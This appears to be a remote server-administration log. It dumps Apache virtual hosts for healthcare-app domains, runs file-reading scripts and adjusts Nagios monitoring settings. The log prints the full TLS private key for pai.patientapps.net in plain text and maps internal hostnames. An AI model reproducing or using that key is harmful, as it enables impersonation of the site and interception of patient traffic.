         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-12 06:00:31: 

PUT: /tmp/pkp237687

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-12 06:00:32: 

chmod 755 /tmp/pkp237687; /tmp/pkp237687; rm /tmp/pkp237687

2026-03-12 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf	1572

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-12 06:00:32: 

PUT: /tmp/pkp105605

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-12 06:00:32: 

chmod 755 /tmp/pkp105605; /tmp/pkp105605; rm /tmp/pkp105605

2026-03-12 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt	5357
d3:57:26:03:11:60:f0:9a:a8:9f:a6:a1:54:43:62:ad

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBix+9d6d26zq3+wNrDYbY7ryMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEyMDUwMTU4WhcNMjYwNjEwMDUwMTU3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsvoDE3MQkRKz47r318hxALbQaeESoQyLh1mbm0X31hfG7bZmLOnWF5rT
kAriIpaKGJzyP6EI7PHpuoa7oOmDumhUzznCrCV7mbDQso8ms8c9ubPLvV9OypKG
IW5B1dmdfJje4no+9ooBbVfLS5ThT+tad13t9kDHmqY5f3nlUqwVGCx43yWdblEG
D4G27aIQtMHtzZWNB2F+mmOJvhMfkVbluaCnQJIKIyB4j2DGAqauvOu9FzFTad2A
3WgrRD0wMwvZJnpj85qNCLLuLWJ0NvOEP+QM4jQpUl6j4szF8Ge1oWZ7hRqRIFWp
wXIcRRmyAKtnePxymqQoTTEFmSQzaQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLNsYbiOv9TpuIchWRKY3VSX7k79MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITcGFpLnBhdGllbnRhcHBzLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzExNS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAfQClyXiS
XVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZzgodllAAgAAAUANQa1AAQD
AEYwRAIgQ4H2hH3Xpjo2n1ovcytT4zr2VnNvSD+3cx6ZMrIHZ2QCIGBM6BCj+tc7
hD5TgNdI+AVD/tYRa2lzkT45UUltY3PZAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGc4KHdZwAABAMASDBGAiEAnE/O+8ry3orePw5jBKKfttUH
EYA5/icJpGqI2+VlDC8CIQCh65/9xVAZKJ16R+o99+9U3twmN/HfkqzZ1GSXpROz
UDANBgkqhkiG9w0BAQsFAAOCAQEAbjbH9pzj0kiPdHWn+e46pXEtoKFCMNYkqmzq
xFeTX1/UdAXn2orgTkE0hkCqbS/Ybl/Z7gITXxb00Mlh1p4sg4UGm+h8DhsjtIvN
kvst5TWIQ0e2jVSRV+pl77xjBvaphddxh75CnJ0KRc/YQyehbNI+MMnK2IXUUg9N
1aRXomymiMvcSdTEZNKTQCFO3WDD1xED2gVFUIxm40k8fsTw1VxHIXYPl3k3CW2m
suPKp+/ZFLpM20X6mGXmvBW5pDyx61vzSqPBShMxxGLZbYQ8C5n/CH6lE4AqxOBg
W5tBpz9ExIUr/sShFGHdhFcEc9lxeLmsa9XzNv9K7PggQUf5qg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCy+gMTcxCRErPj
uvfXyHEAttBp4RKhDIuHWZubRffWF8bttmYs6dYXmtOQCuIilooYnPI/oQjs8em6
hrug6YO6aFTPOcKsJXuZsNCyjyazxz25s8u9X07KkoYhbkHV2Z18mN7iej72igFt
V8tLlOFP61p3Xe32QMeapjl/eeVSrBUYLHjfJZ1uUQYPgbbtohC0we3NlY0HYX6a
Y4m+Ex+RVuW5oKdAkgojIHiPYMYCpq68670XMVNp3YDdaCtEPTAzC9kmemPzmo0I
su4tYnQ284Q/5AziNClSXqPizMXwZ7WhZnuFGpEgVanBchxFGbIAq2d4/HKapChN
MQWZJDNpAgMBAAECggEABkkEYaL5UnbrLVSsDn5iBYnmAMngKxqzLbImZkoLPZAB
MujkZrBhjduokVbogRlzSRD96uEfXJ7UO/IuVaTNtPaj/9EB9qSsVgXhFlwzmj2l
e8eGIKTfsfp6TmM+WaG2R6FgtmhfnK3VBf9+yq00Smez+hwo1qyItfQfccwYkxIb
6egyg8dbqSl+0amncUbTMSP155ybKTkxTU1jQnn2agqdrqnheBkutSdDkjTioexq
AtC5DkwYeIkNiklUgoe3SOnQbHRMr8DZ0jAG1evTjXLCkAdQOk27PUiO//LzqvaS
2me2LM/DNgjzrzzSk2TSCyaxvRfuLWpGH7JIR6roGQKBgQDmw9tZn6xhWnk7P/M1
7o1F+sndcR3TPIhNDWFL+WY+I/iXKDX4zmU5uOYES32GEU9E7LnC0iHuIgZsrTeP
o74asncGs5wqGZ7MEsBjCLimHI8bCPIgC+/DsR1y88mNFUrkPZmZEPlwi1fhFxPs
Is1nikDhtyu9IeKoFghGHne1rQKBgQDGjF2IedQsZD8Ed4UJmMYZUMhI6h7D/TJ0
SlwcFIPZI9c/IZ8rByc37zWI9SPy75y30R1bwx/iPCh9/NCxcaSIuVqqfJN2aU0q
yyPfS75GUGqHDFtmZnvXXN6btx+9dCQDR5iKhbYCLsBNyfT7xnzZu3bv5VXEgVN8
/jgLgv7ULQKBgFJrW3mcJOY0eR4nTgdSJ1T6KIUVtJBQi2HxyHFpJxJEqLHcI8K0
fMTr/ANGrxNmNUipwAMMKCA0ONUx3KlJ00kXuplDJyCGPAgpHluAruptQtNmE4xM
lxrutFTtK2xfUXtJYQWhYWXH7uAu7Oem2nQDlf7H/DA13Q0pqVTZ5umVAoGARNsY
9OOLOXnqgNoSQSnCSbVCQEcxNDby8HF5UCOtNfjABRzb3kg0yakjn8OkG/QNHZJf
5BrfS84hHNA4b9FBhkkBsG5TlZUfNeANKLtT2X658uvOJs0T1bRXXxk64LEObDTA
KgoE/OzJtDB9zXMgiUICFWArRmKzWX2wYg2j4mECgYBk7KV+Nh3gaUXUpQyINWx0
2BMfzt/B2H2/j7Fw5/aG6u2IvgP7Z3GqnyDtqXHpYO5PVH0YKgyRXME1eNXJdJx5
R9fBFCzotNbJIGHuMRkJfb+X0mCfvII/bXhd/wm6WKxpT+orkkUgVnVIcuvNLy60
Fp4bb0EvPGaIcaabn5KQsQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-12 12:46:22: Establishing a connection
2026-03-12 12:46:22: Establishing a connection
2026-03-12 12:46:23: 

PUT: /tmp/pkp764643

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-12 12:46:23: 

chmod 755 /tmp/pkp764643; /tmp/pkp764643; rm /tmp/pkp764643

2026-03-12 12:46:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-12 12:46:23: 

systemctl reload nagios

2026-03-12 12:46:23: 




2026-03-12 12:46:23: 

PUT: /tmp/pkp478745

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-12 12:46:23: 

chmod 755 /tmp/pkp478745; /tmp/pkp478745; rm /tmp/pkp478745

2026-03-12 12:46:23: 


ok


2026-03-12 12:46:23: 

PUT: /tmp/pkp330039

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-03-12 12:46:23: 

chmod 755 /tmp/pkp330039; /tmp/pkp330039; rm /tmp/pkp330039

2026-03-12 12:46:23: 


ok


2026-03-12 12:46:23: 

